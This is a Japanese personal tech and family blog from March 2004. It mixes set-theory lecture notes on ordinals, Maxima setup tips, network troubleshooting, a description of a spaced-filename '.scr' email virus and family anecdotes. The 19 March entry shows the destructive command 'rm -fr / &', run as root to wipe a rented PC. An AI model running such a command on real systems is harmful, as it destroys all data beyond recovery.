実を言いますとおうちの牛 PC のキーボードは買ったときオマケで付いてきたもので、キータッチの安っぽいこと世界一という、自分が使うものだったら絶対に我慢できない代物(←極悪^^)なのですが、この前会社の近くの電気屋さんをうろついていたら、このキーボードがなんとびっくり 1,500円で売っていまして、お店でたたいてみると値段の割には高級感があるなかなか良いタッチなので、ものは試しで購入してみたのです。
で、しばらく忙しくておうちに持って帰らなかったのですが、昨日やっと持ち帰り牛 PC に取りつけたのです。ちょっと誤算だったのは、もともとの粗悪キーボードはマウスを芋づるに繋ぐ USB 穴があったのですが、今回買ったのにはそういうのが付いてなくって、牛 PC さま最後の USB 穴を使うことになってしまったということなのですが、とにもかくにも接続して、奧さまの前で「今度のキーボードはいいよ～」なんて自慢しながらブートしたのです。ところが起動するとマウスの矢印が現われずに、ログオンの画面が出たので文字を入力しようとしたら、
キーボードも使えません(-_-)
なななっ、なんと！！。これは安いだけの粗悪品だったのか、と思ってリブート(というか電源断)して F1 キーを押すとこれはちゃんと認識され BIOS には入れたのです。そこで、こういう場合 NumLock なんたらかんたらが怪しい場合があるので、それを変更して再度挑戦したのですがやっぱりだめ。ただし BIOS ではキーボードもマウスも認識されている様なので、こんどは Windows を SAFE モードで起動したところ、5分くらい考えてやっとこ認識され、なんとかキーボードもマウス双方とも使用可能となったのです。いやはやそれにしてもどうしてこんなに認識に時間がかかるのか。 Windows というのも奧が深いというか、難しいものですな(^^;。
＃キーボード自体はなかなか好評です。マウスはもともと
＃OS は嫌いだけどこれだけは優秀であると思う某 MS 社のだし(^^。

2004年3月30日(火)

@FreeD ネットハイウェイ
たかたにさんとこの記事によりますと、@FreeD 使用時に画像圧縮を行い体感速度を大幅に増やすサービスが開始されるとのことなのですが、Windows 系の OS で動作する特別なソフトが必要なそうな。私の場合 FreeBSD で使うだけなので全くご利益がないのですが、そもそも @FreeD の場合デフォルトで V.42bis 圧縮が行われておりテキストに関しては十分高速なのと、@FreeD を使用する場合 w3m で画像をロードしない設定で使用する場合が多いのでどうでも良いかなという感じもするのですが、いずれにしても何年か後にはこういう姑息なやりかたではなく、回線自体の速度上昇を安価に提供してもらいたいものですな。
＃ところでたかたにさんは「間引きプロキシー」を使用して、
＃画像をかなりの速度でダウンロードしていたのではなかったかな(^^。

2004年3月29日(月)

羽毛布団詐欺
今日おうちに電話がかかってきて、モカちゃんが出たところ、「お母さんかおばあちゃんいる」ということで、奧さまが出たところ、
なんとか羽毛ふとんをご家族の誰かがどこそこからお買い上げになりましたか。
ということなのです。むむむっ、どうして買ったかどうかを教えなけりゃいけないのか全く失礼な電話ですな(-_-)。さらには奧さまが「買ったことはない」と言ったところぷっつんと電話が切れてしまったとのこと。うーむ、ますます失礼な。モカ姫の推理によるとこれは最近流行の「おれおれ詐欺」みたいなもんで、もし「家族が買ったかも～」とでも言うものなら、料金が未払いとかいんねんを付けてくる極悪電話だと言うのですが、確かにその可能性も結構高いわけで、まあいやな世の中になってきたものですな。

2004年3月28日(日)

超限帰納法・置換公理
[集合論雑記目次]
[定理]
P(x) を論理式とします。任意の順序数 α,β に対して α<β のとき P(α) が成立するとき P(β) が成立すると仮定します。このとき任意の順序数 α に対して P(α)
言い換えると次の二つの命題は同値。
(1) (∀β)([(∀α)(α<β → P(α))] → P(β))
(2) (∀α)[P(α)]
ここで全称記号は順序数全体を動くとします。
証明自体は簡単で (1) をが成立して (2) が成立しないと仮定し NOT[P(α)] が成立する順序数 α を考えます。α は整列集合なので γ∈α を P(γ) を成立させない最小元とすると γ の最小性により δ<γ に対して P(δ) が成立し (1) の仮定により P(γ) が成立して矛盾。
実際には超限帰納法は次の定式化が多用されます。
(i) P(0) が成立
(ii) P(α) が成立するとき P(α+1) も成立する
(iii) α が 0 でない極限数で β<α に対して P(β) が成立するとき P(α) が成立する
このときすべての α に対して P(α) が成立する
残念ながらこの定理も今の段階では余り役に立ちません。つまりここで述べたように現在手持ちの順序数が非常に「少ない」からです。例えば ω + ω さえもまだ定義することができません。膨大な順序数を「構成」するには次に述べる置換公理が必要なのです。
[公理 8. 置換公理]
P(x,y) を二項論理式として関数的な性質をもつとします。即ち、
P(x,y),P(x,y') が成立するとき常に y=y' が成立する。
この場合任意の集合 X に対して
ある x∈X が存在して P(x,y) が成立する y 全体を含む集合が存在する
言い換えると「関数的な論理式」の集合による「像(range)」全体を含む集合が存在するという公理であり、この集合を Y とするとき f:X → Y は写像となります。ここで f は P(x,y) を X x Y の部分集合に外延化した写像です。
ここで非公式ですが、例えば P(x,y) を
x∈ω のとき y は ω+x
x がその他の場合 φ
と定義し、置換公理により ω に対して存在が許される集合を Y とすると f:ω → Y は f(n)=ω+n なる写像となり ran(f) = f[ω] = {ω+n| n∈ω} も集合となることが分かります。従って ω∪ran(f) = ω + ω を構成することが可能となるのです。
次回以降は超限帰納法と置換公理を利用して「整列集合の順序数による表現」「超限帰納法による関数関係の定義」「順序数の演算の定義」を行う予定です。

2004年3月27日(土)

順序数間の順序
[集合論雑記目次]
順序数はその「内部」で ∈ に関する整列順序構造を持つわけですが、もっとも著しい性質としては、その「外部」でも同様な整列順序構造を保つことであり、これにより「順序数全体」という壮大なる階層構造(集合にはなりませんが)を構築することができるのです。具体的に言うと α,β を順序数とするとき α∈β という関係がやはり順序の公理と同等な性質を満たすことが証明出来るのです。これを証明するためにまずいくつかの基本性質を証明します。
[定理]
α,β を順序数とするとき次の性質が成り立つ。
(1) NOT(α∈α)
(2) α⊂β のとき α = {γ∈β|γ < β} = β[α]. ここで γ<β は γ∈β のこと
(3) α⊂β は α∈β と同値
(1) の証明
α を順序数とし α∈α と仮定すると α∈α∈α となり、左の二つは α 内の順序を表しているので α<α となり矛盾。
(2) の証明
γ を β-α の最小元とし、まず α=β[γ] を証明します。まず NOT(δ∈α) とすると γ の最小性により γ $\leq$ δ が成立し NOT(δ∈β[γ]) が成立。逆に δ∈α とし NOT(δ∈β[γ]) を仮定すると δ $\leq$ γ が成立し δ=γ の場合 γ=δ∈α となり矛盾。 δ<γ の場合は δ∈β[γ] となりこれまた矛盾。従って α=β[γ] が成り立ちます。証明した等式により δ∈α は δ∈γ と同値となることが容易に分かり α=γ が成立し α=β[α]。
(3) は順序数の ∈ に関する推移性と (2) により明らか。
[定理]
X を順序数からなる集合とするとき X は ∈ に関して整列集合。
まず X 上で ∈ が全順序になることを証明する必要があります。 α,β,γ∈X とするとき NOT(α∈α) は前の証明から成り立ち α∈β,β∈γ が成立するとき γ の推移性により α∈γ が成立することもすぐに分かります。従って α∈β,α=β,β∈α のいずれかが排他的に成立することを示せば十分です。もし排他性が成立せず、例えば α∈β かつ β∈α が成立したと仮定すると α の推移性により α∈α が成立し、前定理 (1) に矛盾。さて α∩β を考えるとこれも順序数になることはすぐに分かります。ここで例えば α∩β = α が成立すると α⊆β が成立し、前定理 (2) の結果により α=β または α∈β が成立します。従って α∩β ≠ α かつ α∩β ≠ β を仮定して矛盾を導けば良いのですが、この場合 α∩β⊂α かつ α∩β⊂β が成立し α∩β⊂ α∩β となり α∩β∈α∩β が成立し矛盾。
最後に X の整列性ですが Y を X の空でない部分集合としα∈Y を考えます。まず α∩Y = φ の場合は α が Y の最小元となります。そうでない場合 α∩Y の α 内での順序に関する最小元が Y の最小元になり証明完了です。
[定理]
X を順序数からなる集合とするとき ∪X は順序数であり ∈ に関する X の上限となる。
証明は容易です。この定理により ∪X のことを sup(X) と記述することが正当化されます。次回は数学的帰納法の順序数に関する拡張である超限帰納法に関して記述します。
余談ですが本日の定理により「順序数だけの世界」を考えると α∈β とα⊂β は同値なのですが、∈(集合論の基本記号) と ⊂(単なる省略記号)の概念上の区別に関して中学とか高校で最初に表面的な「集合」を習ったとき、一瞬悩んだ人も結構いるのではないかな～、と想像するのです。それが「順序数の世界」の中では実は同値な概念になるというのがなかなか面白く、標数 p の体上で (x + y)^p = x^p + y^p が成立する(高校生がこんな式を書いたらせんせに怒られる^^)ことを思い出してしまいました。

2004年3月26日(金)

お笑いウイルス
実は会社でウイルスに感染しちゃった人がでまして、一昨日泊るはめになったのですが、いやはや最近のウイルスはせこいというかなんというか、添付ファイルを、
README.txt ... 大量のスペース ... .scr
という感じの名前にして、一見テキストファイルのように見せかけているのですねー。この方法には笑ってしまいましたが、なるほどなかなか巧妙な詐欺を考えたもので、私は「英語のメールは基本的にスパム(メーリングリストを除く)」と思ってろくに読まないで捨てる場合が多いし、そもそもメーラーが Mew/FreeBSD なのであんまり感染の危険はないのですが、Windows のメーラーを使っている人はだまされしまう場合もありそうです。
ちなみに上記ウイルスはメールばらまき型なので、外向けルーターの内側の場所で Ethenet をモニターして感染 PC の内部のアドレスを調べようとしたのですが、社内で 100BaseT の「ばかハブ」が調達出来ず、結局採用した方法が 10BaseT 「ばかハブ」とその辺で売っている 100/10BaseT 対応スイッチでして、
```
社内 LAN の内側
100BaseT ONLY     |                 |      
------------------|   ケーブル      |----------ルーター
                  |-----------------|
                  |                 |----------X24
  100/10BaseT 共用ハブ(スイッチ)    |
                             10BaseT ばかハブ
```
という感じの方法を思いつくまでかなり時間がかかってしまったのです。
＃いまやスイッチがただ同然の値段で「ばかハブ」が
＃貴重な機器に昇格した感じが(^^。
＃スイッチに「ばかモード」をつければ結構売れるかも...。

2004年3月25日(木)

お泊まり
今午前一時半。ちょいとトラブルのお手伝いをしてまだ会社だったりします(^^;。

2004年3月24日(水)

squid over ssh-forwarding
たいしたねたではないのですが、今まで二重プロキシーということで X24 の squid からおうちの squid 経由でインターネットに出ていたのですが、このパスに ssh トンネルを使用することにしました。こうするとおうちサーバーの squid は localhost から要求が来たと思うので、認証が非常に簡単になるのです。といいますか、細かい認証方法を知らないので、今まではおうちの中と会社の外側アドレスだけを通すように設定してあって、@FreeD での使用は出来なかったのでして、w3m の場合は -no-proxy フラグで起動すれば良いのでそんなに面倒くさくないのですが、Mozilla の場合いちいちメニューでプロキシーの解除を設定する方法しか知らず、とても面倒だったのです。で、お約束のはまったこと(^^。
@FreeD 接続の ppp.linkup に次のトンネルを通すコマンドを入れたのです。
su - kagami -c "ssh -N -f -L 8081:localhost:8080 evariste.jp"
ところがこのコマンドが長時間戻ってこないで、結局 ssh のセッションが成立しません(-_-)。ssh の設定は相手の公開鍵を authorized_keys2 に登録してパスワードを要求しないようになっているので(パスフレーズなし^^)、その部分で止っていることはありえません。むむむむむっ、手でうちこむとうまくゆくのにどうしてなんだろう...、としばらく考えていたのですが、いやはやあたりまえのことでして、ppp.linkup 実行中なので ppp 本体は動かず自宅サーバーとの通信が出来る訳がありません。とんでもないまぬけです(^^。
というわけで仕方なくなく、繋がったのを見計らい手でうちこむことにしました。ifconfig tun0 の出力を定期的に監視すれば自動化も可能でしょうが、そこまでやる必要もないでしょう。ちなみにこれによりおうちとの通信で使用するプロトコルの ssh 自身はもちろん apop,smtp,http も全部 ssh のトンネル経由となりまして、意外と(特に無線での)暗号強度は高いかな～と思っているのです。
＃vtund を使えば簡単なことは分かっているのですが、
＃なぜか ssh が好きなので毎回トンネルを掘ることになるのです。
IBM との戦い
半年くらい前にお客さん向けに会社で購入した X31 三台のうち一台のハードディスクの調子が悪くなったそうな。具体的には Windows を起動してしばらく作業しているとディスク I/O エラーが発生する状態だったのです。そこでもちろん保証期間ということで、購買担当の人が IBM に修理依頼して引き取ってもらったのです。ところが数日後 IBM からの返答は、
Windows が起動するのでハードディスクに異常はありません(-_-)
でしてそのまま送り返しますということだったのです。むむむっ IBM ほどの会社がブート可能というだけでハードディスクに欠陥なしと判断するとはなんという...。もちろん購買の人は「それでは困る」と言ったのですが、IBM 曰く、
それでは特別調査ということで一万なにがし円頂きます(-_-)
おやおやこんどは有料なら調査しましょうということなのです。結局は購買の人が色々交渉してなんとか無料でディスク交換となったのですが、なんともはや、色々無理難題を言う顧客が存在することも分からないではないのですが、あんまり頭が良くない担当者にあたると面倒なことになりますな。

2004年3月23日(火)

ブラックホールの響き
いやいや全然真面目な話ではないのですが、ご存じの様に私はブラックホールとか宇宙論一般の本を(表面的に)読むのが大好きなので、この前もとある本を読んでたのですが、その本によるとブラックホールという名前は「卑猥な響き」があるということで、最初の頃は特にフランスとロシアではかなり抵抗感が強かったそうな(^^。いやはや全く気が付きませんでした。ところで「ブラックホール」という名前を付けたのはジョン・ホイーラーという物理学者で、水爆製造にかかわったり政治的には問題の多い人なのですが、研究者としては非常に優秀・独創的であり、かつまた優秀な弟子を沢山育てたという、宇宙論に対して大変な貢献のある人なのですが、、話はこれだけでは終わらず、ブラックホールに関しての研究が進むにつれ、次の事実が分かってきたのです。
ブラックホールの属性は次の 3つしか存在しない。
(a) 質量
(b) 電荷
(c) スピン
要するにブラックホールは非常に単純な存在で、例えば私がホールに飛込むと、「質量」「少々の電荷」「スピン(回転)」以外の属性はあとかたもなく消えてしまうということなのです(それでは私の保持していたエントロピーはブラックホール蒸発後にどうなるのか、というのは現在研究中らしいのですが...)。それはともかく、ここでまたまたホイーラ─大先生の登場でして、この性質 (属性が少ない・単純)に付けた名前がなんと「無毛定理」(No hair theorem)(^^。私は鈍感なのかどうか、これも属性が少ないということで、つるんつるんの頭を想像していたのですが、どうも真意は違うところにあるようで...。
ホイーラー先生というのは、実生活でも非常に保守的・勤勉・真面目な人だったそうで、同僚の人たちは「そもそも彼はこれらの言葉の卑猥なニュアンスを知っているのだろうか」と疑ったそうなのですが、もちろん知らないでこんなに本質をつかまえつつ、しゃれた名前を考え付くわけがないのであり、なかなかユーモアのセンスがすぐれていた人だったと想像するのであります。ちなみに「無毛定理」の方は「ブラックホール」よりもっと抵抗が強かったそうで、最初の頃は論文掲載などに関して色々とトラブルになったこともあるそうな (^^。

2004年3月22日(月)

整列順序
[集合論雑記目次]
集合 X に順序関係 < が定義されていて、X の任意の部分集合が導入された順序に関して最小元を持つとき X を整列順序集合と呼ぶのでありました。次の条件を満たす整列集合 X の真部分集合 Y を「始片(initial segment)」と呼びます。
任意の a∈Y に対し x<a なる x∈X は Y に属する
始片は次の条件で特徴付けられます。
整列集合 X に対し Y⊂X が始片である必要十分条件は a∈X が存在して Y={x∈X|x<a}
最初の条件から二番目の条件が成立するのは明らかです。また Y が最初の条件を満たすとき X-Y の最小元を a とすると、二番目の条件を満たすことが容易に証明出来ます。そこで次の記号を導入します。
整列集合 X の要素 a∈X に対し {x∈X|x<a} を X[a] と記述し、 X の a による始片と呼ぶ
X の要素と X の始片に一対一の対応があることは明白です。始片の概念を使用すると、整列集合間の整列的な性質を記述することが可能です。
[補題]
f: X → X を整列順序集合 X から X への増加写像とするとき、任意の x∈X に対し x $\leq$ f(x)
x₀ を f(x)<x を成立させる X の最小元とすると f の増加性によりf(f(x₀)) < f(x₀) < x₀ が成立し矛盾。
[定理]
f: X → X を整列順序集合 X 上の順序同型写像とするとき、f は恒等写像
f の逆写像を f^-1 とすると f^-1 も順序同型。x を f(x)≠x を成立させる x∈X と仮定すると、前補題により x < f(x) が成立し、f^-1 の増加性により f^-1(x) < x となり矛盾。
[定理]
X を整列順序集合とするとき X と X[a] は順序同型にならない
f: X → X[a] が順序同型と仮定すると、f(a)∈X[a] なので f(a) < a となり補題に矛盾する。
[定理]
X,Y を二つの整列集合とするとき、次のいずれかの条件が成立する。またどの二つの条件も両立しない。さらに各々の写像はただ一つ定まる。
(1) X から Y の上への増加写像(順序同型写像)が存在する
(2) Y から X の始片の上への増加写像(順序同型写像)が存在する
(3) X から Y の始片の上への増加写像(順序同型写像)が存在する
X×Y の部分集合 F を F={(x,y)|X[x] から Y[y] への順序同型写像が存在する} と定義しすると F は関数関係となります。この関数関係を写像と考えたものを f: dom(F) → ran(F) とすると f は増加写像でさらに dom(f),ran(f) それぞれ X,Y の始片となり f は dom(f) から ran(f) への順序同型であることは容易に分かります。ここで dom(f)≠X かつ ran(f)≠Y を仮定すると dom(f)=X[a],ran(f)=Y[b] なる a∈X,b∈Y が存在しますが、f の定義から (a,b)∈F となり a∈dom(f) となり矛盾。一意性に関しては f,g が (1)(2)(3) 何れか一つの条件を満たす写像とするとき g^-1・f が恒等写像になることに注意すれば証明完了。
というわけで次回は上記で証明した整列集合の性質を順序数に応用し、順序数の基本性質を導きます。

2004年3月21日(日)

モカちゃん種集め
今日の藤沢市科学少年団のお題は、「植物の種集め」ということで、色々と集めてきたようです。それにしても最近モカもなかなか忙しく、なんのかんの一週間に 6回、学校以外の活動に参加しているのです。この前「明日が楽しみだな～」と言っていたので、「あした何かあるの」と聞いたところ、「なんにもないから楽しみ」ということで、ちょっといろんなことやらせすぎかな～、と思う面もあるのですが、まあちっちゃい時に色々やっておく方が結果的には良いと思うので、当面現状維持で頑張ってもらおうと考えているのです。

2004年3月20日(土)

順序数の定義
[集合論雑記目次]
前回まで自然数と自然数全体からなる集合を定義しました。ここで自然数に順序と演算を定義して、それらの「常識的な」性質を証明する必要があるのですが、あんまり面白くないのにあたりまえの結果しか出ないので、細かいことは省略して順序の定義のみを行います。
a,b∈N に対して関係 a∈b は順序関係となる。通常この関係を a<b と記述する。
もちろん a∈b が順序の公理を満たすことを証明する必要があるのですが、ここでは省略です。また特に重要な点として、
N 上の順序関係 ∈ は整列順序である。
が成立します。これも証明が必要な事実ですがここでは省略します。さていよいよ順序数の定義ですが、これは次のように行われます。
集合 X が順序数とは次の二つの性質を満たすこと。
(1) X は ∈ に関して整列順序集合
(2) a∈b∈X のとき a∈X(この性質をもつ X を推移的という)
(2) の条件は b∈X のとき b⊆X ということです。
[定理]
任意の n∈N は順序数である
N(即ち ω) は順序数である

証明は略しますが N 上で関係 ∈ が通常の自然数の順序を表現していることを考えれば直感的には明白な事実です。実際には今まで省略した証明にはすべて数学的帰納法が使用されます。ここで一つも証明がないのもなんなので、ω+1(即ち ω∪{ω}) が順序数になることを証明します。まず ∈ に関する整列性ですが ω が整列集合で、ω は ω+1 の最大元なので成立するのは明らかです。推移性に関しても a∈b∈(ω+1)と仮定し b が自然数の場合は ω の推移性から a∈ω が成立し、b=ω の場合 a∈ω は ω の定義によりこちらも明らかです。
[定義]
自然数 n に対して ω + n を次のように帰納的に定義する
ω + 0 = ω
ω + (n + 1) = (ω + n) + 1
最後の式の左辺の +1 は自然数の加算で、右辺の +1 は(ω + n)∪{ω + n} のことです。そうすると数学的帰納法により ω + n は順序数になることが容易に証明することが可能です。さて、ここまでで次の順序数が構成されたわけです。
自然数
ω
ω + (n + 1) (n は自然数)
直感的に記述すると自然数 n は {0,1,2,...,n-1} のことであり、ω は {0,1,2,3,...}、 ω+(n+1) は {0,1,2,3,...,ω,ω+1,...,ω+n} という感じです。最後の n の ω までの「極限」をとり ω+ω={0,1,2,3,...,ω,ω+1,...,ω+n,...} と拡張したいのはもちろんで、そのようにどんどん大きな順序数を構成することが集合論の基本理念なのですが、実を言いますと今までの公理では ω+ω でさえ構成することが出来ず、次回以降に導入する「置換公理」なるものが必要となるのです。
次回は順序数を理解するとともに、集合論における最も重要な概念である「整列順序」に関する基本的な性質を証明し、次次回以降にこの性質を利用して順序数の基本性質を導きたいと考えております。

2004年3月19日(金)

rm -fr /
いやいや間違いではないのです(^^。本日 FreeBSD で動くとあるボードの検査用にレンタルしていた PC を返すことになり「返却時にデーターは全部消去して下さい」ということなので、一度やってみたかったコマンド(＊)を入力したのです。
# rm -fr / &
これでシェルが生きている間に rm が終了するかどうか知らなかったのですが、ちゃんと正常終了しました。rm 終了後いかなるコマンドも受け付けなくなったのはもちろんです。ところがうかつにも kernel は fschg モードになっていたので消えず、もう一度ブートしたところちゃんとブートしちゃって、 init が存在しないという理由でのパニック終了となりました。まあこんなもんでいいでしょう。
＃ほんとは機器にロジアナをあてているときにショートさせてしまい
＃PC 本体を壊してしまったのが返却理由なのはぜったいぜったいに
＃内緒なのです(^^;。
(＊) ファイルを「全部」消すコマンド。
長女のノート PC
長女も四月から大学生となるのですが、大学生ともなると、レポート書いたり、実験の結果を分析したり、インターネットで断片的な情報を調査したりの用途に個人用ノート PC が必要かな～、と考えていたのです。で、先日学生協からパンフレットが来たのですが、いわゆる「大学推薦」のノート PC なる広告が載っておりまして、機種が
LaVie M LM500/8D1U CPU 1.5GHz Pentium-M, Memory 256MB, HDD 40GHz
というもので、お値段が Microsoft Office アカデミックパックバンドルで 199,000 円ということなのです。うーむちょっと高いですねぇ。メモリーも追加する必要がありそだし。ただし学内でこの機種を持っている人多いであろうということと、学内インターネット接続設定サービス付き、さらにこれが一番おいしいのですが、 4年間保証付きというところがちょっとそそられるのです。どうしようかな。ちなみに長女のご意見では、私が使っているような IBM の黒くてかっこ悪い(なにっ-_-)のは絶対にやだそうで、NEC はともかくとしてそれなりのちゃらちゃらした見栄えの機種を選択する必要がありそうなのです。さらに IBM のは他のメーカのとはキーボードが全然違うと説明したのですが、なんと
キーボードなんてあんまり使わないじゃん(^^;。
いやはや大学に入ってから PC の使い方としては WWW 閲覧以外の用途の方が多いということが全然分かっていないようで...。なかなか難しいものですな。

2004年3月18日(木)

FreeBSD-4.10
本日 FreeBSD-users-jp に流れて来た情報によりますと、４月の終り頃に FreeBSD-4.10 がリリースされる予定なのだそうです。あれれれっ、4,X 系列は 4.9 で終りという記事をどこかで読んだ気がするのですが、実際はまだまだ続くのですね。個人的には X24 でまともに FreeBSD-5.X が動作するようになるまで 4系列のバージョンアップが継続することはうれしいのですが、いやはや大分長丁場になってきましたな(^^。

2004年3月17日(水)

またまたお休み
今日はちょっと疲れたので休み(^^;。

2004年3月16日(火)

お休み
今日は猛烈に忙しかったのでいっかい休み(^^;。

2004年3月15日(月)

モカちゃんピアノではまる
今日モカの学校で「卒業生お見送りの会」があったそうで、校歌斉唱のピアノ伴奏をモカが弾いのです。ところがおうちに帰ってから「上手に弾けた？」と聞いたところ、途中でピアノが止まってしまったそうで、どうしてなのかと思ったら、なんと演奏中に楽譜が風で飛んでしまったとのこと(^^;。いやはや運の悪いこともあるもので、もう少し練習して楽譜なして弾ける様にしておけば良かったのかな。ちなみに薄情なことに(いやいや幸いなことに)歌の方はそのままちゃんと止まらないで続いたそうなのです(^^。

2004年3月14日(日)

Maxima でグレブナ─基底
簡単のために代数閉体 k=C 上の多項式環 k[x₁,x₂,...,x_n] を考えて、この環のイデアル I=(f₁,f₂,...,f_m) のゼロ点を求めたいとします。言い換えると高次連立代数方程式、
f₁(x₁,x₂,...,x_n) = 0
f₂(x₁,x₂,...,x_n) = 0
...
f_m(x₁,x₂,...,x_n) = 0

の解を求めたいのです。さらに言い換えると k 上の n 次元アフィン空間での各f_i が定義する超空間の共通部分を求めたいとも言えます。まず簡単な例としては１変数の n 次の場合、
f(x) = 0
の解は E.Galois の理論により 5次以上の場合は一般に根号では解けないことが分かっていますが、代数学の基本定理(C.A.Gauss)により丁度 n 個の解を持つので、これら方程式は「解けたもの」と考えます。次に簡単な例としては、
x² + y² - 1 = 0
2 x + y - 3 = 0
の様なもので、これは中学生でも分かるように第二の式から y を求めて第一の式に代入した２次方程式を解けば良いわけです。ただしちょっと複雑にして例えば、
x³ + 2 x - y² + y - 1 = 0
x² + 2 y x³ - y³ + y - 2 = 0

の様なものを考えると、この程度のものでもちょっと解を求める気力がわきませんし、さらにもっと次数や変数の数が増えるととても手の着けようがないような気がしてきます。ここで登場するのが多項式環イデアルのグレブナ─基底という概念でして、多変数の多項式に対する多項式群による一種の「剰余」 (多変数の場合一変数と異なり整除をきちんと定義出来ないのでこの定義は案外難しい) を考察して、その「剰余」が良い性質を持つ様な生成元のことを言うのです。例えば上の二つの方程式の左辺が生成するイデアルの(被約)グレブナ─基底は、
113359 y⁸ - 711557 y⁷ + 2538651 y⁶ - 5236568 y⁵ + 4641015 y⁴ - 9045826 y³ + 14015758 y² - 16624337 y + 3834871 x + 5822726,
-y⁹ + 6 y⁸ - 21 y⁷ + 42 y⁶ - 35 y⁵ + 81 y⁴ - 117 y³ + 147 y² - 62 y + 31
となり何と二番目の式は y だけからなるというありがたさなのです。グレブナ─基底の理論はこのような簡単なものから、深い理論まで色々な応用があるそうで、私が学生の頃はあまり脚光を浴びていなかったと思うのですが、最近のコンピューターの発達により、具体的に計算できる面が着目され代数学の主流の一つに発展したのかな～、と勝手に考えています(違うかも知れない^^)。 Maxima でグレブナー基底を計算するには、例えばこちらから MaximaGrobner.zip を入手して、README.maxima に従いインストールし、
load("maxima-grobner.o");
poly_reduced_grobner([x^2 + y^3 - x*y -3,x^3 - y^2 - x^2 -2*x - 3],[x,y]);
などと楽しむことができます。またその他の可換環関連の数式処理ソフトとしては Singluar , Macaulay が有名でして、現時点で可換環関連の処理に関しては Maxima よりもはるかに優れているものと思われます。
＃にわか勉強なので結構いいかげんかも知れません(^^。

2004年3月13日(土)

モカちゃんのホバークラフト
サイエンス倶楽部でモカがホバークラフトを作って来まして、下の写真の風船を膨らませて、平らな場所に置くと浮き上がって押した方向に動くのです。私はこんなのを見たことがなかったので、うーむこれはすごいと思ったのですが、奧さまの説によりますと、「この模型作りは良く知られていて、どこでも作っているので、特に珍しいものではない」そうでして、いやはや世の中の動向を知らないと言うかなんというか...。

それはそうと、面白いのが材料に使っている CD-ROM なのです。これって電気屋さんに行くと大量に置いてあるインターネット接続会社のお誘い CD-ROM なのですねー。さすがサイエンス倶楽部の先生！！。こんなところで費用削減に努力しているのに敬服するとともに、これを大量に取ってくる時、周囲の目がどんなだったかを想像すると、とってもとっても気になって夜も眠れないのであります(^^。

2004年3月12日(金)

Maxima 各種インターフェース
昨日から仕事の時間以外は maxima で遊び続けているのですが、各インターフェースの使い勝手についての個人的な感想です。
[コマンドライン]
gcl,clisp ベースで maxima を作成すると入力が gettext ベースなので編集やヒストリー機能は便利だが、出力の見栄えはあんまりよくない。
```
(C1) integrate(x^2 * sin(x) * cos(2*x)^3,x);

					2
(D1) (15750 x SIN(7 x) + (2250 - 55125 x ) COS(7 x) - 30870 x SIN(5 x)

	   2
 + (77175 x  - 6174) COS(5 x) + 257250 x SIN(3 x)

		    2
 + (85750 - 385875 x ) COS(3 x) - 2315250 x SIN(x)

	     2
 + (1157625 x  - 2315250) COS(x))/3087000
```
[Emacs maxima モード]
コマンドラインと同様だが、出力を編集して次の入力に編集する場合には便利。上の例では巾指数が一行上に出力され、乗算のアスタリスクも省略されているが、入力形式 (C1) の様に出力することも可能。この出力をこぴぺすれば以降の入力に使用可能なのです。
[xmaxima]
そこそこの見栄えで画像がインラインで表示されるのが宜しいが、emacs 系に比較するとなんとなく入力しずらい。現段階では編集機能が少々弱いかも。

インストールは簡単で、maxima をインストールすると /usr/local/share/maxima/5.9.0/emacs ディレクトリが出来るので .emacs 等に、

(setq load-path (append '("/usr/local/share/maxima/5.9.0/emacs") load-path))
(autoload 'maxima "maxima" nil t)

等として M-x maxima で動作します。
[texmacs 上で動作]
これは texmacs 上で maxima を走らせるのですが、見栄えが宜しいのと、出力形式(TeX の出力)の部分をコピーすると入力形式に自動的に変換してくれるので、一番便利だと思います。欠点としてはとっても重いことなので、用途によっては次に紹介する emacs の imaxima モードを使用するのも良いかも知れません。
FreeBSD の ports からの導入では /usr/local/libexec/TeXmacs/bin/ にある各種シェルファイルの先頭にある #!/bin/bash を #!/usr/local/bin/bash に変更する必要があります。

[Emacs imaxima モード]
Emacs のこのモードではコマンド入力に対して、maxima が出力した TeX 出力を LaTex が解釈し、その後 dvips gs を通した数式のビットマップイメージがインラインで出力されます。Emacs の編集機能が使用できる・日本語が使用できる・軽快である、等の利点があります。ただし出力フラグを変更しないと出力された式を再利用出来ないのが欠点です。ただし出力された式は見掛け上ビットマップですが、内部的には TeX のソースになっていて、TeX のドキュメントとしての再利用は可能な様です。次のようにインストールします。
- Emacs-21,TeX,LaTex(pTeX,pLaTex でも可),amsfont,dvips,ghostscript の環境を整える。
- こちらからimaxima-0.7.tar.gz をダウンロードする。
- README,INSTALL の指示に従いインストールを行う。
- こちらから breqn094.tgz をダウンロードして展開する。
- /usr/local/share/texmf/tex/latex/ に breqn というディレクトリを作成する。
- breqn094.tgz を展開した中身を上記ディレクトリにコピーする。
- texhash コマンドを実行する。
- .emacs に (autoload 'imaxima "imaxima" "Image support for Maxima." t)
- Emacs で M-x imaxima
実は上記の設定では動作せずはまりました(^^。理由は良く分からないのですが、imaxima.el に間違いがあるようで、次の様に修正します。
```
imaxima.el の 820行あたりに
---------------------------------------------------------------------------
(defun imaxima-dvi-to-ps (filename)
  "Convert dvi file FILENAME to PostScript."
  (let ((dvips-args (append
    imaxima-dvips-options
      (list "-x" (format "%s" (* imaxima-scale-factor 1000))
            "-y" (format "%s" (* imaxima-scale-factor 1000))
                   (concat filename ".dvi") "-o"))))
    (imaxima-with-temp-dir imaxima-tmp-subdir
    ...
---------------------------------------------------------------------------
という感じの記述があるのですが、これを
---------------------------------------------------------------------------
(defun imaxima-dvi-to-ps (filename)
  "Convert dvi file FILENAME to PostScript."
  (let ((dvips-args (append
    imaxima-dvips-options
      (list "-x" (format "%s" (* imaxima-scale-factor 1000))
            "-y" (format "%s" (* imaxima-scale-factor 1000))
                   (concat filename ".dvi") "-o"
                   (concat filename ".ps")))))   ;;; ここ！！
    (imaxima-with-temp-dir imaxima-tmp-subdir
    ...
---------------------------------------------------------------------------
と出力先指定が「ほげ.ps」となるように変更してから再インストール(.elc 
に反映させるため)。
```
さらに M-x imaxima-latex とすることによりそれまでのセッションの LaTex ソースが出力する機能もあります。

2004年3月11日(木)

最近の maxima
Maxima はオープンソースの汎用数式処理システムで、ちょっと前に FreeBSD-users-jp にその土台となる cmucl のメモリー管理の話題が出まして、久し振りに思い出したのですが、最後に使ったのはもう三、四年も前のことで、その時は「面白いけどまだちょっと～」という印象だったのです。ところが本日インストールをしてサンプルとかで遊んでみたところ、その完成度の高さにびっくり。これは遊べます！！(^^。
